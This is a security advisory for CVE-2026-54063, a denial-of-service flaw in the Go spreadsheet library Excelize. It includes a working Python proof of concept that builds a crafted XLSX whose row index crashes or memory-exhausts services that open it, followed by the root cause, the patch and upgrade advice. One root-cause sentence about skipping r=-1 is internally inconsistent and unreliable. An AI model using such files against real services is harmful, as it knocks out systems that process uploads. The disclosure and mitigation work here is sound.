high · 7.5CVE-2026-54063Jul 10, 2026

CVE-2026-54063: Excelize Unbounded Row Allocation DoS in Worksheet Parser

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted XLSX file with a malicious row index value can crash or memory-exhaust any Go service that uses Excelize to open untrusted spreadsheets, requiring no authentication.

Packagegithub.com/xuri/excelize/v2
Ecosystemgo
Affected< 2.11.0
Fixed in2.11.0

The problem

The checkSheet() function in github.com/xuri/excelize/v2 reads the <row r="N"> attribute from worksheet XML and passes it directly to make([]xlsxRow, row) with no bounds check against the Excel row limit (TotalRows = 1,048,576).

Two crash paths exist. Setting r=2147483647 forces a ~16 GB allocation attempt, killing the process via OOM. Setting r=-1 causes the second loop in checkSheet() to index sheetData.Row[-2], triggering a runtime error: index out of range [-2] panic. Any API that calls workSheetReader internally is affected, including GetCellValue, GetRows, and GetCols.

Proof of concept

A working proof-of-concept for CVE-2026-54063 in github.com/xuri/excelize/v2, with the exact payload below.

python
import zipfile

# Variant B: runtime panic (index out of range [-2])
# Change row to "2147483647" for Variant A (OOM kill)
row = "-1"

CONTENT_TYPES = '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''

RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''

WORKBOOK = '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''

WORKBOOK_RELS = '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>'''

SHEET = f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>'''

with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("[Content_Types].xml",         CONTENT_TYPES)
    z.writestr("_rels/.rels",                 RELS)
    z.writestr("xl/workbook.xml",             WORKBOOK)
    z.writestr("xl/_rels/workbook.xml.rels",  WORKBOOK_RELS)
    z.writestr("xl/worksheets/sheet1.xml",    SHEET)

# --- trigger (Go) ---
# f, _ := excelize.OpenFile("malicious.xlsx")
# f.GetCellValue("Sheet1", "A1")  // panics: index out of range [-2]

The root cause is CWE-770: the checkSheet() loop accumulates the maximum r value from attacker-controlled XML, then calls make([]xlsxRow, row) at excelize.go:377 before any validation. The constant TotalRows = 1048576 exists in templates.go but was never applied at this sink.

For r=-1, the accumulation condition r.R != 0 skips the value, leaving row=0 and allocating an empty slice. The second loop then evaluates sheetData.Row[r.R-1] which is sheetData.Row[-2], an out-of-bounds index that panics immediately.

The patch in v2.11.0 adds explicit guards before the make() call: it returns newInvalidRowNumberError for any r.R < 0 and returns ErrMaxRows for any r.R > TotalRows, so neither boundary can reach the allocation.

The fix

Upgrade to github.com/xuri/excelize/v2 v2.11.0. The fix adds row-number validation in checkSheet() before the make() call, rejecting any <row r> value that is negative or exceeds the Excel limit of 1,048,576. If you process untrusted XLSX uploads and cannot upgrade immediately, reject files server-side before passing them to OpenFile or OpenReader.

Reporter not attributed.

References: [1][2][3][4]

Related research